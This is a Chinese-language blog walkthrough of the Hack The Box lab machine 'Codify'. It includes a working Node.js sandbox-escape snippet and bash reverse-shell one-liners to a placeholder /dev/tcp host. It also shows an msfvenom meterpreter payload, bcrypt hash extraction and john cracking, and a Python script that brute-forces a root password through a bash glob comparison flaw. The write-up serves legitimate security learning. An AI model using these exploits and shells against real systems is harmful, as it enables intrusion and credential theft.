HTB Codify

发布时间 2023-11-17 21:49:41作者: kw13t

 第一步,和上次一样,改hosts文件,域名对应ip。

信息收集

nmap扫一下:

└─$ nmap -sV 10.10.11.239
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-17 15:58 HKT
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.31s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http           Apache httpd 2.4.52
100/tcp   filtered newacct
119/tcp   filtered nntp
1021/tcp  filtered exp1
1045/tcp  filtered fpitp
1455/tcp  filtered esl-lm
2522/tcp  filtered windb
2967/tcp  filtered symantec-av
3000/tcp  open     http           Node.js Express framework
3030/tcp  filtered arepa-cas
5631/tcp  filtered pcanywheredata
5904/tcp  filtered ag-swim
9944/tcp  filtered unknown
14000/tcp filtered scotty-ft
15000/tcp filtered hydap
56738/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.80 seconds

可以看到80和3000端口都开了,都访问一下结果发现打开的页面都是一样的,网页提供了在线node.js代码沙箱运行服务。

漏洞利用 

node.js说实话确实不熟,所以去搜了一下node.js相关的漏洞,看到有一个今年的沙箱逃逸漏洞。(https://blog.csdn.net/CQ17743254852/article/details/132049918; https://www.uptycs.com/blog/exploitable-vm2-vulnerabilities)

直接把代码贴上去,发现可以直接获取shell。

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

那么下一步的思路是弹shell,方便操作,但是试了很多次,命令都会执行错误,最后是通过执行shell.sh文件,内容为

/bin/bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

执行命令 bash -i shell.sh,或者使用bash -c

bash -c "bash -i 0>&1 /dev/tcp/x.x.x.x/xxxx 0>&1"

这里我的解决方法是通过msfvenom生成恶意脚本,执行命令让靶机下载后运行,本地利用 exploits/multi/handler进行监听。其他平台的脚本生成可以参考(https://blog.csdn.net/m0_64444909/article/details/126841128)

──(kali㉿kali)-[~]
└─$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=1234 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes

┌──(kali㉿kali)-[~]
└─$ cat shell.elf
ELF>x@@@8@@�|1�j X��H��M1�j"AZjZH��xQj
AYPj)X�j_j^H��x;H�H��

QH��jZj*XYH��y%I��t▒Wj#XjjH��H1�YY_H��y�j<Xj_^j~ZH��x���

 敏感文件获取用户密码

在/var/www/contact目录下发现一个db数据库文件,

 用sqlite打开一下,看到密码,尝试用john破解一下,这里也可以用hashcat

┌──(kali㉿kali)-[~]
└─$ sqlite3 tickets.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .databases
main: /home/kali/tickets.db r/o
sqlite> .tables
tickets  users  
sqlite> select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite> .quit
                                                                                                            
┌──(kali㉿kali)-[~]
└─$ echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > 1.txt
                                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt                     
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxxxxxxxxxx       (?)     
1g 0:00:00:39 DONE (2023-11-17 21:20) 0.02523g/s 34.51p/s 34.51c/s 34.51C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到joshua的密码,尝试ssh连接,得到user.txt

提权 

下一步尝试进行提权,运行一下sudo命令,发现有一个文件可以运行

 文件内容如下:

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

这里就涉及到bash文件的安全规范问题了(https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md),bash是允许通配符‘ * ’的存在的,这里的弱比较‘  == ’可以由此绕过

(这里的安全问题很大,弱比较不说,还是直接比较密码,比较哈希值我都能好理解一点)

1*==1abc34sd    //true
asd*==  asdfaskdfl   //true

那么我们可以很容易的写一个python脚本来爆破出这个密码

import subprocess
import string
def run_command(command):
    output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.decode()
    return output

dic=string.ascii_letters+string.digits
password=""
for i in range(100):
    for i in dic:
        output= run_command(f'echo "{password}{i}*" | sudo /opt/scripts/mysql-backup.sh')
        if "Password confirmed" in output:
            password+=i
            print(password)
            break

得到密码后root.txt就在/root下。